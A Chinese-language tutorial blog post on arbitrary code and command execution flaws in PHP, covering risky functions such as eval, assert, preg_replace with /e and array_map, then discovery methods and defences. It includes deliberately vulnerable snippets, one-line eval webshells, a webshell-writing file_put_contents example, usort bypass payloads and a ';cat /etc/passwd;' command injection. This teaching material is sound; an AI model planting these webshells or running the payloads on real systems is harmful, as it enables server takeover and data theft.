首页 > 技术文章 > 任意代码执行漏洞

zzhoo 2020-04-09 17:03 原文

任意代码执行漏洞

漏洞原理

应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

  • 几种常用函数语言,都有将字符串转化成代码去执行的相关函数。

  • PHP ===> eval( ),assert( )

  • Python ===> exec( )

  • Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>

 

举个例子来说: 后台的代码这么写<?php system($_GET['cmd']); ?>,就是通过get传入一个参数,这里的cmd参数是可以直接控制,那么我们可以通过发送请求 http://127.0.0.1:8080/?cmd=ls 来让ls命令运行

 

漏洞函数

常见代码执行函数,如
eval()                    assert()
preg_replace()           create_function()
array_map()            call_user_func()
call_user_func_array()         array_filter
usort                uasort()
文件操作函数          动态函数(a(a(b))

1、eval() 

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

2、assert()

   与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码:

<?php 
//?cmd=phpinfo()
assert($_REQUEST[cmd]); 
?>

 

eval与assert区别

 

eval函数中参数是字符,如:

 

eval('echo 1;');

 

assert函数中参数为表达式 (或者为函数),如:

 

assert(phpinfo()) 

 

3、preg_replace()

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码:

<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

4、create_function()

  create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

参考链接:

代码安全:PHP create_function()注入命令执行漏洞

http://www.cnseay.com/1901/

http://lovexm.blog.51cto.com/3567383/1743442

http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

5、array_map()

  array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

 代码示例:

复制代码
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
复制代码

6、call_user_func()/call_user_func_array ()

  call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

  call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

复制代码
<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
复制代码

 7、array_filter()

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

复制代码
<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
复制代码

8、usort()、uasort()

  usort() 通过用户自定义的比较函数对数组进行排序。

  uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

复制代码
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
复制代码

源自:https://www.wd0g.com/?p=190

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

9、文件操作函数

  file_put_contents() 函数把一个字符串写入文件中。

  fputs() 函数写入文件

代码示例:

 

复制代码
<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>
复制代码

 

 10、动态函数

  PHP函数直接由字符串拼接

代码示例:

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

 

 

漏洞发现

现实场景中很少会发现此类漏洞,这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等,很少直接使用系统命令。需要通过手工测试的方式先定位到哪些业务功能有可能使用到了外部程序,然后进一步构造payload进行攻击。

 

一般挖掘漏洞都可以分为 黑盒,白盒 和灰盒挖掘。

 

白盒测试

 

可以代码审计的话,直接搜索含有常用的调用函数system、exec、shell_exec、passthru、pcntl_exec、 popen、proc_open,以及反引号也可以执行命令。然后联系上下文看看有没有课控制的输入参数,可控制的点指的是,我们可以传入参数,如果在代 码里写死了命令<?php system("ipconfig"):?>就是无法利用的,针对可控制的参数,在进一步绕过过滤限制。

 

黑盒测试

 

黑盒挖掘任意命令执行漏洞要点在于找到可能调用第三方命令的业务场景,很多时候要半蒙半猜的去想后台代码是什么样的。通常在图片处理、大文件压缩、 文件格式转化、日志处理以及数据库导出等功能比较容易调用一些小脚本进行辅助处理。能够确定某个业务模块使用到了第三方工具,就可以进一步对命令注入语句 进行分析,是否存在各种限制,最常见的用各种fuzz推测后端对输入进行了哪些限制,对其进行相应的绕过。构造出可以利用的payload。

 

此外,应该尽量多的收集目标使用的各种组件信息,查找以往是否有暴过任意命令执行漏洞,测下是否在目标上依然存在这些漏洞。

 

漏洞利用

总的来说就是,任意命令执行就是程序调用到了exec这样的函数来执行,那么我们要利用的话,,首先是,1 代码中存在调用系统命令的函数 2.函数中存在我们可控的点 3.可控点没有过滤,或过滤不严格。

如下php代码段:

1    uri = $request['uri'];
2    $from = $request['from'];
3    $to = $request['to'];
4    $tmp = '/tmp/act_css_tmp_' . $uri;
5    system("/usr/bin/wget $from -O $tmp");
 
 

    $request变量来自于用户URL的输入,最终进入到system函数里作为命令来执行,但是这段代码没有安全处理用户的输入,任意用户都可以通过如下URL来在机上执行自己的命令,

php?cmd=1190&func=sync_css&uri=hi&from=;cat /etc/passwd;&to=hi&1=2 最后导致系统的沦陷。

命令执行漏洞有如下的利用

  1. 存在回显示的话,可以直接读取各种配置文件,密码文件,数据库连接文件等等
  2. 遇到不回显的情况,最可靠的方法使用时间延迟推断,类似与盲注的方法。通过一些命令的延时作用来判断漏洞的存在,例如ping命令
  3. 不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果给自己的计算机
  4. 查看自己的权限,可以提升自己权限,访问敏感数据或控制服务器。

 

漏洞防御

1、使用json保存数组,当读取时就不需要使用eval了
2、对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)
3、字符串使用单引号包括可控代码,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string)
4、放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换(preg_replace_callback())
5、若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)
6.尽量少的调用执行系统命令的函数,通过黑名单的方式过滤敏感函数,如在PHP的配置文件php.ini中禁止一部分危险函数。 disable_functions=system,passthru,shell_exec,exec,popen,白名单的方式对特殊输入的类型/长 度进行限制。

7.对开发者要执行特定系统命令,必须把命令转换成一个字符串,然后传给执行者(也就是 shell ),然后 shell 再解析,这个传递过程就可能会出现信息传递不对等的问题,就很容易造成实际执行命令和预期执行的产生差别。

8.如果非要使用到该功能,尽量使用 pcntl_exec 这类可以限制一次只执行一条命令并且参数为数组传入的函数而不是 system 这种直接调用 sh 去执行命令的函数,同事在执行系统命令的时候检查用户输入参数(即可控部分),在使用 pcntl_exec 之前也需要小心地检查被执行的命令是否存在执行子命令的可能。

 

推荐阅读